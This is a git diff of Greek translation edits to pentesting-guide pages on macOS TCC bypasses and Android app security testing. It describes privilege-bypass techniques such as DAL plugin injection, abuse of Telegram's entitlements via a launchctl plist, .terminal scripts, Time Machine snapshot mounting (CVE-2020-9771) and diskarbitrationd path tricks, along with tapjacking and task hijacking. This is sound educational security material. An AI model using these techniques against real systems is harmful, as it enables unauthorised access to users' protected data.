φορτώνουν **στη διαδικασία αυτά τα plugins** που βρίσκονται στο `/Library/CoreMediaIO/Plug-Ins/DAL` (όχι περιορισμένα από SIP). Απλά αποθηκεύοντας εκεί μια βιβλιοθήκη με τον κοινό **κατασκευαστή** θα λειτουργήσει για **εισαγωγή κώδικα**. @@ -347,7 +347,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox Το Telegram είχε τα δικαιώματα **`com.apple.security.cs.allow-dyld-environment-variables`** και **`com.apple.security.cs.disable-library-validation`**, οπότε ήταν δυνατό να το εκμεταλλευτεί κανείς για **να αποκτήσει πρόσβαση στα δικαιώματά του** όπως η καταγραφή με την κάμερα. Μπορείτε να [**βρείτε το payload στην αναφορά**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). -Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή env για να φορτώσετε μια βιβλιοθήκη, δημιουργήθηκε μια **προσαρμοσμένη plist** για να εισαχθεί αυτή η βιβλιοθήκη και χρησιμοποιήθηκε το **`launchctl`** για να την εκκινήσει: +Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή env για να φορτώσετε μια βιβλιοθήκη, δημιουργήθηκε μια **custom plist** για να εισαχθεί αυτή η βιβλιοθήκη και χρησιμοποιήθηκε το **`launchctl`** για να την εκκινήσει: ```xml @@ -383,9 +383,9 @@ launchctl load com.telegram.launcher.plist ### Σενάρια Τερματικού -Είναι αρκετά συνηθισμένο να δίνετε στο τερματικό **Πλήρη Πρόσβαση Δίσκου (FDA)**, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνικούς. Και είναι δυνατόν να καλέσετε σενάρια **`.terminal`** χρησιμοποιώντας το. +Είναι αρκετά συνηθισμένο να δίνεται στο τερματικό **Πλήρης Πρόσβαση Δίσκου (FDA)**, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνικούς. Και είναι δυνατόν να καλέσετε σενάρια **`.terminal`** χρησιμοποιώντας το. -**`.terminal`** σενάρια είναι αρχεία plist όπως αυτό με την εντολή που θα εκτελεστεί στο κλειδί **`CommandString`**: +Τα σενάρια **`.terminal`** είναι αρχεία plist όπως αυτό με την εντολή που πρέπει να εκτελεστεί στο κλειδί **`CommandString`**: ```xml @@ -418,8 +418,8 @@ exploit_location]; task.standardOutput = pipe; ### CVE-2020-9771 - παράκαμψη TCC mount_apfs και κλιμάκωση προνομίων -**Οποιοσδήποτε χρήστης** (ακόμα και μη προνομιούχοι) μπορεί να δημιουργήσει και να τοποθετήσει μια στιγμιότυπο του Time Machine και **να έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\ -Η **μόνη προνομιακή** πρόσβαση που απαιτείται είναι για την εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`) η οποία πρέπει να παραχωρηθεί από έναν διαχειριστή. +**Οποιοσδήποτε χρήστης** (ακόμα και μη προνομιούχοι) μπορεί να δημιουργήσει και να τοποθετήσει μια στιγμιότυπο μηχανής χρόνου και να **έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\ +Η **μόνη προνομιακή** πρόσβαση που απαιτείται είναι για την εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`) που πρέπει να παραχωρηθεί από έναν διαχειριστή. ```bash # Create snapshot tmutil localsnapshot @@ -468,11 +468,11 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ### CVE-2024-40855 -Όπως εξηγήθηκε στο [πρωτότυπο άρθρο](https://www.kandji.io/blog/macos-audit-story-part2), αυτή η CVE εκμεταλλεύτηκε το `diskarbitrationd`. +Όπως εξηγήθηκε στο [πρωτότυπο άρθρο](https://www.kandji.io/blog/macos-audit-story-part2), αυτό το CVE εκμεταλλεύτηκε το `diskarbitrationd`. -Η συνάρτηση `DADiskMountWithArgumentsCommon` από το δημόσιο πλαίσιο `DiskArbitration` εκτελούσε τους ελέγχους ασφαλείας. Ωστόσο, είναι δυνατό να παρακαμφθεί καλώντας απευθείας το `diskarbitrationd` και επομένως να χρησιμοποιηθούν στοιχεία `../` στη διαδρομή και symlinks. +Η συνάρτηση `DADiskMountWithArgumentsCommon` από το δημόσιο πλαίσιο `DiskArbitration` εκτελούσε τους ελέγχους ασφαλείας. Ωστόσο, είναι δυνατόν να παρακαμφθεί καλώντας απευθείας το `diskarbitrationd` και επομένως να χρησιμοποιηθούν στοιχεία `../` στη διαδρομή και symlinks. -Αυτό επέτρεψε σε έναν επιτιθέμενο να κάνει αυθαίρετες τοποθετήσεις σε οποιαδήποτε τοποθεσία, συμπεριλαμβανομένης της βάσης δεδομένων TCC λόγω της εξουσιοδότησης `com.apple.private.security.storage-exempt.heritable` του `diskarbitrationd`. +Αυτό επέτρεψε σε έναν επιτιθέμενο να πραγματοποιήσει αυθαίρετες τοποθετήσεις σε οποιαδήποτε τοποθεσία, συμπεριλαμβανομένης της βάσης δεδομένων TCC λόγω της εξουσιοδότησης `com.apple.private.security.storage-exempt.heritable` του `diskarbitrationd`. ### asr @@ -485,13 +485,14 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ## Από εφαρμογές εκκίνησης + {{#ref}} ../../../../macos-auto-start-locations.md {{#endref}} ## Από grep -Σε πολλές περιπτώσεις, αρχεία θα αποθηκεύουν ευαίσθητες πληροφορίες όπως emails, αριθμούς τηλεφώνων, μηνύματα... σε μη προστατευμένες τοποθεσίες (που μετράνε ως ευπάθεια στην Apple). +Σε πολλές περιπτώσεις, αρχεία θα αποθηκεύουν ευαίσθητες πληροφορίες όπως emails, αριθμούς τηλεφώνου, μηνύματα... σε μη προστατευμένες τοποθεσίες (που μετράνε ως ευπάθεια στην Apple).
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 10928fdd2..f33ae1298 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -4,7 +4,7 @@ ## Android Applications Basics -Είναι πολύ σημαντικό να ξεκινήσετε να διαβάζετε αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**: +Συνιστάται ανεπιφύλακτα να ξεκινήσετε να διαβάζετε αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**: {{#ref}} android-applications-basics.md @@ -15,12 +15,12 @@ android-applications-basics.md Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\ **ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών. -Ρίξτε μια ματιά στη παρακάτω λίστα με [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb. +Ρίξτε μια ματιά στη παρακάτω λίστα με τις [**Εντολές ADB**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb. ## Smali Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, θα μπορούσε να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\ -[**Σε αυτό το tutorial** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό θα μπορούσε να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**. +[**Σε αυτό το σεμινάριο** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό θα μπορούσε να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**. ## Other interesting tricks @@ -50,10 +50,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` ## Μελέτες Περίπτωσης & Ευπάθειες + {{#ref}} ../ios-pentesting/air-keyboard-remote-input-injection.md {{#endref}} + {{#ref}} ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} @@ -65,7 +67,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ### Αναζητώντας ενδιαφέρουσες Πληροφορίες -Απλά ρίχνοντας μια ματιά στις **αλφαβητικές ακολουθίες** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... κοιτάξτε ακόμα και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή). +Απλά ρίχνοντας μια ματιά στις **αλφαβητικές ακολουθίες** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... αναζητήστε ακόμη και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή). **Firebase** @@ -73,14 +75,14 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ### Βασική κατανόηση της εφαρμογής - Manifest.xml, strings.xml -Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας decompilers ή με την αλλαγή της επέκτασης του αρχείου APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το. +Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας decompilers ή με την αλλαγή της επέκτασης αρχείου APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το. **Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν: - **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή. -- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που ασχολούνται με ευαίσθητες πληροφορίες για να αποτραπούν μη εξουσιοδοτημένα αντίγραφα ασφαλείας δεδομένων μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb. -- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP. Ένα παράδειγμα είναι η επιτρεπόμενη κυκλοφορία HTTP για συγκεκριμένους τομείς. -- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να καταχραστούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία. +- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που ασχολούνται με ευαίσθητες πληροφορίες για να αποτραπεί η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb. +- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains. +- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να κακοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία. - **Content Providers και FileProviders**: Οι εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η ρύθμιση των FileProviders θα πρέπει επίσης να εξεταστεί προσεκτικά. - **Broadcast Receivers και URL Schemes**: Αυτά τα στοιχεία θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για ευπάθειες εισόδου. - **Εκδόσεις SDK**: Τα χαρακτηριστικά `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία της μη υποστήριξης παλαιών, ευάλωτων εκδόσεων Android για λόγους ασφαλείας. @@ -89,21 +91,23 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ### Tapjacking -**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ περνά την αλληλεπίδραση στην εφαρμογή θύμα.\ +**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ ταυτόχρονα περνά την αλληλεπίδραση στην εφαρμογή θύμα.\ Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι στην πραγματικότητα εκτελεί ενέργειες στην εφαρμογή θύμα**. Βρείτε περισσότερες πληροφορίες στο: + {{#ref}} tapjacking.md {{#endref}} ### Task Hijacking -Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**). +Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή θα μπορούσε να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**). Περισσότερες πληροφορίες στο: + {{#ref}} android-task-hijacking.md {{#endref}} @@ -147,7 +151,7 @@ android-task-hijacking.md **Αποδοχή Όλων των Πιστοποιητικών** -Για κάποιο λόγο, μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμη και αν, για παράδειγμα, το όνομα κεντρικού υπολογιστή δεν ταιριάζει με γραμμές κώδικα όπως η παρακάτω: +Για κάποιο λόγο, μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμη και αν, για παράδειγμα, το hostname δεν ταιριάζει με γραμμές κώδικα όπως η παρακάτω: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -160,13 +164,13 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες. -**Χρήση Ανασφαλών και/ή Υποστηριζόμενων Αλγορίθμων** +**Χρήση Ανασφαλών και/ή Παρωχημένων Αλγορίθμων** -Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν ελέγχους **εξουσιοδότησης**, **αποθήκευσης** ή **αποστολής** δεδομένων. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt. +Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **παρωχημένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt. ### Άλλοι έλεγχοι -- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη διαδικασία αντίστροφης μηχανικής για τους επιτιθέμενους. +- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του αναστροφέα για τους επιτιθέμενους. - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως. - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**. - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί. @@ -174,7 +178,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ### Εφαρμογή React Native -Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να αποκτήσετε εύκολα πρόσβαση στον κώδικα javascript των εφαρμογών React: +Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να έχετε εύκολη πρόσβαση στον κώδικα javascript των εφαρμογών React: {{#ref}} react-native-application.md @@ -182,7 +186,7 @@ react-native-application.md ### Εφαρμογές Xamarin -Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να αποκτήσετε εύκολα πρόσβαση στον κώδικα C# μιας εφαρμογής xamarin: +Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να έχετε εύκολη πρόσβαση στον κώδικα C# των εφαρμογών xamarin: {{#ref}} ../xamarin-apps.md @@ -190,11 +194,11 @@ react-native-application.md ### Superpacked Εφαρμογές -Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) το superpacked είναι ένας αλγόριθμος Meta που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.** +Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) το superpacked είναι ένας Meta αλγόριθμος που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.** ### Αυτοματοποιημένη Στατική Ανάλυση Κώδικα -Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να βρίσκει **ευπάθειες** μέσω **σάρωσης** του **κώδικα** της εφαρμογής. Αυτό το εργαλείο περιέχει μια σειρά από **γνωστές πηγές** (που υποδεικνύουν στο εργαλείο τις **θέσεις** όπου η **είσοδος** ελέγχεται από τον χρήστη), **sink** (που υποδεικνύουν στο εργαλείο **επικίνδυνες** **θέσεις** όπου η κακόβουλη είσοδος του χρήστη θα μπορούσε να προκαλέσει ζημίες) και **κανόνες**. Αυτοί οι κανόνες υποδεικνύουν την **συνδυαστική** των **πηγών-sinks** που υποδεικνύει μια ευπάθεια. +Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να βρίσκει **ευπάθειες** μέσω **σάρωσης** του **κώδικα** της εφαρμογής. Αυτό το εργαλείο περιέχει μια σειρά από **γνωστές πηγές** (που υποδεικνύουν στο εργαλείο τις **θέσεις** όπου η **είσοδος** ελέγχεται από τον χρήστη), **sink** (που υποδεικνύουν στο εργαλείο **επικίνδυνες** **θέσεις** όπου η κακόβουλη είσοδος του χρήστη θα μπορούσε να προκαλέσει ζημίες) και **κανόνες**. Αυτοί οι κανόνες υποδεικνύουν την **συνδυασμένη** **πηγή-sink** που υποδεικνύει μια ευπάθεια. Με αυτή τη γνώση, **το mariana-trench θα αναθεωρήσει τον κώδικα και θα βρει πιθανές ευπάθειες σε αυτόν**. @@ -215,7 +219,7 @@ bypass-biometric-authentication-android.md - **Native functions** δηλωμένες ως `native`: `public native, System.loadLibrary, System.load` - [Διαβάστε αυτό για να μάθετε **πώς να αναστρέψετε native functions**](reversing-native-libraries.md) -### **Άλλα κόλπα** +### **Άλλες τεχνικές** {{#ref}} content-protocol.md @@ -243,7 +247,7 @@ content-protocol.md #### Χρησιμοποιώντας έναν εξομοιωτή -- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες εκδόσεις x86** υποστηρίζουν ARM βιβλιοθήκες χωρίς να χρειάζεται ένας αργός εξομοιωτής arm). +- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) οι **latest x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm). - Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα: {{#ref}} @@ -270,34 +274,34 @@ avd-android-virtual-device.md 2. (Από Android 8.0) Επιλέξτε **Σύστημα**. 3. Επιλέξτε **Σχετικά με το τηλέφωνο**. 4. Πατήστε **Αριθμός κατασκευής** 7 φορές. -5. Επιστρέψτε και θα βρείτε τις **Επιλογές προγραμματιστή**. +5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**. > Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\ -> Σας προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα. +> Σας προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF dynamic analysis + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα. ### Ακούσια Διαρροή Δεδομένων **Καταγραφή** -Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Το Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του. +Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του. > [!WARNING] -> Σημειώστε ότι από **αργότερα νεότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\ +> Σημειώστε ότι από **αργότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\ > Ούτως ή άλλως, εξακολουθεί να συνιστάται να **μην καταγράφετε ευαίσθητες πληροφορίες**. **Caching του Buffer Αντιγραφής/Επικόλλησης** -Το πλαίσιο **βάσει clipboard** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτρέψετε διαρροές δεδομένων. +Το **clipboard-based** πλαίσιο του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτρέψετε διαρροές δεδομένων. **Crash Logs** -Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε 